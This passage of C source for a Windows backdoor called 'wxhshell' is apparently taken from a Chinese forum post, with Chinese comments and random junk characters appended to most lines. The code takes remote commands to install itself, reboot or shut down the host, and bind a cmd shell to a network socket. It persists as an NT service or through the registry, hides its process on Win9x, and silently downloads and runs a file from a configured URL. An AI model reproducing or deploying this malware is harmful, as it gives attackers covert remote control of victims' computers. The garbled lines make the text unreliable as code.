  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sjV>&eb  
  } ,.<l^sj5  
  else { ;M"JN:J8  
8wqHr@}p  
    switch(cmd[0]) { sP5\R#  
  QGnBNsAh  
  // 帮助 q.>{d%?  
  case '?': { jDO[u!J6.%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m[FH>  
    break; \?e{/hXnl  
  } @(:M?AO9S.  
  // 安装 mmG+"g$|  
  case 'i': { ^SKuX?f\  
    if(Install()) &8 ~+^P1w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o4CgtqRs  
    else |,89zTk'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fh4kd>1 D  
    break; a$SGFA}V  
    } 14p <0BG  
  // 卸载 fWywegh  
  case 'r': { Zi fAn  
    if(Uninstall()) T Prqb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gt^Fj&^  
    else u<l[S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wo@0yF@  
    break; o'Byuct  
    } UmSy p\i  
  // 显示 wxhshell 所在路径 K$dSg1t  
  case 'p': { g9`z]qGWS:  
    char svExeFile[MAX_PATH]; 4~3 N;]X  
    strcpy(svExeFile,"\n\r"); lXS.,#lp  
      strcat(svExeFile,ExeFile); W7lR 54%|  
        send(wsh,svExeFile,strlen(svExeFile),0); /MB3w m  
    break; V3NQij(  
    } #,1Kum bG3  
  // 重启 I|*w?i*  
  case 'b': { emo@&6*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }0Qex=vkO  
    if(Boot(REBOOT)) Wi Mi0?$.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p#UrZKR  
    else { _>8ZL)NQQ  
    closesocket(wsh); W4Ey]y"  
    ExitThread(0); wtCz%!OYB  
    } P"LbWZ6Nj  
    break; 6;g"`l51  
    } )V<ML7_?  
  // 关机 |<l  sv  
  case 'd': { %o4ZD7@ '  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gUs.D_*  
    if(Boot(SHUTDOWN)) 0?KY9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T\VKNEBo  
    else { SM2QF  
    closesocket(wsh); P\B ]><!ep  
    ExitThread(0); /d*0+m8  
    } F/FUKXxx  
    break; JgJ4RmH-  
    } 'a`cK;X9F  
  // 获取shell YQWGv,47\  
  case 's': { g?.ls{H  
    CmdShell(wsh); 3?F*|E_  
    closesocket(wsh); "#d>3M_  
    ExitThread(0); dBKL_'@@}  
    break; KErQCBeJ  
  } {;6Yi!  
  // 退出 t%$>  
  case 'x': { X\:;A{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r%*,pN7O  
    CloseIt(wsh); uz6S7I  
    break; S: IhJQ4K  
    } cRm+?/  
  // 离开 3xSt -MA  
  case 'q': { -\OvOkr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fz[o;GTc  
    closesocket(wsh); kQ5mIJ9(  
    WSACleanup(); LD]a!eY  
    exit(1); 3":vjDq$  
    break; U_t[J|  
        } #1-,s.)  
  } /gWaxR*m  
  } 6;WfsG5  
uHj"nd13  
  // 提示信息 OT[&a6_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o}q>oa b z  
} )N4!zuSVf  
  } K( : NshM  
 X}@^$'W  
  return; N?Byp&rqI<  
} o gec6u}  
5eP8nn.D  
// shell模块句柄 I8R#EM%C#  
int CmdShell(SOCKET sock) s&UuB1   
{ V*X6 <}  
STARTUPINFO si; CatbEXO  
ZeroMemory(&si,sizeof(si)); $on"@l%U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =hZ#Z]f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >yr:L{{D}G  
PROCESS_INFORMATION ProcessInfo; ;L1Q"Hxh  
char cmdline[]="cmd"; u^HC1r|%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^U"$uJz!c  
  return 0; #NU@7Q[4  
} P%VEJ5,]b  
U($bR|%D  
// 自身启动模式 Nm;yL  
int StartFromService(void) F|+Qi BO  
{ =lB +GS%  
typedef struct '3BBTr%aZ  
{ 7Gwn,&)  
  DWORD ExitStatus; US5 ]@!  
  DWORD PebBaseAddress; "DN0|%`M/  
  DWORD AffinityMask; SlU?,)J}  
  DWORD BasePriority; d 8YP<"V&  
  ULONG UniqueProcessId; = <yMB d\  
  ULONG InheritedFromUniqueProcessId; ~s3X&!#   
}   PROCESS_BASIC_INFORMATION; L|B/'  
Q=YIAGK  
PROCNTQSIP NtQueryInformationProcess; =geopktpf  
H( L.k;B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?4k/V6n@y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .|\}] O`  
cQg:yoF  
  HANDLE             hProcess; 'q3<R%^Q   
  PROCESS_BASIC_INFORMATION pbi; _C`&(?}  
z$64Ep#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +D7>$&BD  
  if(NULL == hInst ) return 0; JVfSmxy.  
(*~'#k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6,wi81F,}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2IfcdYG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p **Sd[|  
R[#Np`z  
  if (!NtQueryInformationProcess) return 0; {5 V@O_*{  
|7Dc7p"D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QZwUv<*  
  if(!hProcess) return 0; rra|}l4Y  
EM2=g9y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hn`yc7<}(u  
%mqep5n(  
  CloseHandle(hProcess); ]>v C.iYp  
`!,"">5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .rPg  
if(hProcess==NULL) return 0; _HMQx_e0YM  
k)j6rU  
HMODULE hMod; ={'3j  
char procName[255]; -!@]z2uU  
unsigned long cbNeeded; p!oO}gE  
0P_=Oy"l-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /penB[ 1i  
NL^;C3u  
  CloseHandle(hProcess); \wZ 4enm  
~,^pya  
if(strstr(procName,"services")) return 1; // 以服务启动 #%9t-  
9%#u,I  
  return 0; // 注册表启动 SEKR`2Zz,  
} LZ=E  
NqlU?  
// 主模块 /Fr*k5I  
int StartWxhshell(LPSTR lpCmdLine) Ez1-Nx  
{ ylGT9G19  
  SOCKET wsl; ?^3Y+)}  
BOOL val=TRUE; 14~#k%zO(  
  int port=0; FhP$R}F  
  struct sockaddr_in door; ;B^ 9sr  
tDC?St1  
  if(wscfg.ws_autoins) Install(); at|.Q*&a#  
} yb"/jp  
port=atoi(lpCmdLine); tZXq<k9  
V7 OhOLK8  
if(port<=0) port=wscfg.ws_port; \sn wR  
O#_\@f#[  
  WSADATA data;  l;;,[xhq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UuKW`(?^  
/4I9Elr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "F[e~S#V*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #x+7-hi  
  door.sin_family = AF_INET; *Uw"`l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gB<1;_KW  
  door.sin_port = htons(port); m$.7) 24  
.DR*MQI9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <`V_H~Z  
closesocket(wsl); ([ jm=[E^  
return 1; <@S'vcO  
} )H1\4LeP  
rff_=(?i  
  if(listen(wsl,2) == INVALID_SOCKET) { :Z[|B(U  
closesocket(wsl); h wi!C}  
return 1; Gh5 3 Pne  
} ]."t  
  Wxhshell(wsl); [-0=ZKH?  
  WSACleanup(); ]>/oo=E  
H73 r3BH  
return 0; Pk3b#$+E  
^/ff)'.J  
} :@b=;  
t`- [  
// 以NT服务方式启动 'WNq/z"X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tjLG$M1z`  
{ !ra,HkU'  
DWORD   status = 0; J[{ R:l\  
  DWORD   specificError = 0xfffffff; 'F%h]4|1  
/g>]J70  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g8R@ol0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8 \"A-+_Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =B{B ?B"r  
  serviceStatus.dwWin32ExitCode     = 0; \"a~~Koe  
  serviceStatus.dwServiceSpecificExitCode = 0; B)x^S >  
  serviceStatus.dwCheckPoint       = 0; 3:aj8F2  
  serviceStatus.dwWaitHint       = 0; QQ/9ZI5  
"sSY[6Kp!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .wO-2h{Q  
  if (hServiceStatusHandle==0) return; ! GJT-[  
Q5&|1m Pb  
status = GetLastError(); >l b9j>  
  if (status!=NO_ERROR) W %1/: _  
{ |fB/hs \  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l(pP*2  
    serviceStatus.dwCheckPoint       = 0; 6`@6k2]  
    serviceStatus.dwWaitHint       = 0; 5FVmk5z]d  
    serviceStatus.dwWin32ExitCode     = status; q:1n=i Ei  
    serviceStatus.dwServiceSpecificExitCode = specificError; pK"iTc#\X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v*kX?J#]5  
    return; Hf +oG  
  } N(kSE^skOa  
?X+PNw|pf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y%!k'\n[2  
  serviceStatus.dwCheckPoint       = 0; {wl7&25  
  serviceStatus.dwWaitHint       = 0; -bgj<4R$p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G '%ZPh89  
} y5j ;Daq  
~J0r%P  
// 处理NT服务事件,比如:启动、停止 t~|`RMn"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?@^gpVK{  
{ BS2'BS8  
switch(fdwControl) 6"9(ce KX  
{ K}DrJ/s  
case SERVICE_CONTROL_STOP: ,:{+-v(  
  serviceStatus.dwWin32ExitCode = 0; mLV0J '  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (~NR."s;  
  serviceStatus.dwCheckPoint   = 0; OD~yIV  
  serviceStatus.dwWaitHint     = 0; uvRX{q 4  
  { Eb8~i_B-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1XpqnyL&  
  } ub2B!6f a  
  return; JkEITuTth  
case SERVICE_CONTROL_PAUSE: sD9OV6^{?K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @,{Qa!A>l  
  break; O<J<)_W)  
case SERVICE_CONTROL_CONTINUE: l\TL=8u2c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6n\){dkZ~  
  break; T5-Yqz  
case SERVICE_CONTROL_INTERROGATE: d/b\:[B@  
  break; `NQ;|!  
}; y~z&8XrH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mMT\"bb'  
} ba)hWtenH  
tqpSir  
// 标准应用程序主函数 I  :8s3;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) im9Pjb%  
{ P\h1%a/D  
oz%{D@CF  
// 获取操作系统版本 vCn~- Q  
OsIsNt=GetOsVer(); E;YD5^B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jw)c|%r>  
`*xSn+wL`_  
  // 从命令行安装 <Wd_m?z  
  if(strpbrk(lpCmdLine,"iI")) Install(); &{bNa:@  
%"ehZ d0r  
  // 下载执行文件 {5 3#Xd  
if(wscfg.ws_downexe) { vcZ"4%w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @W=: r/  
  WinExec(wscfg.ws_filenam,SW_HIDE); I5]58Ohx  
} Qnx?5R-}ZU  
}+giQw4  
if(!OsIsNt) { ;<=z^1X9  
// 如果时win9x,隐藏进程并且设置为注册表启动 1I%niQv5t  
HideProc(); L+lX$k  
StartWxhshell(lpCmdLine); HP=5 a.  
} YXg^t$  
else As??_=>4  
  if(StartFromService()) \SBAk h  
  // 以服务方式启动 vvLzUxV  
  StartServiceCtrlDispatcher(DispatchTable); mj ,Oy  
else zpy&\#Vc  
  // 普通方式启动 }vZTiuzC  
  StartWxhshell(lpCmdLine); KDr)'gl&  
16"L;r  
return 0; k;<F33v;Mh  
}
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只看该作者 1 发表于: 2006-10-10
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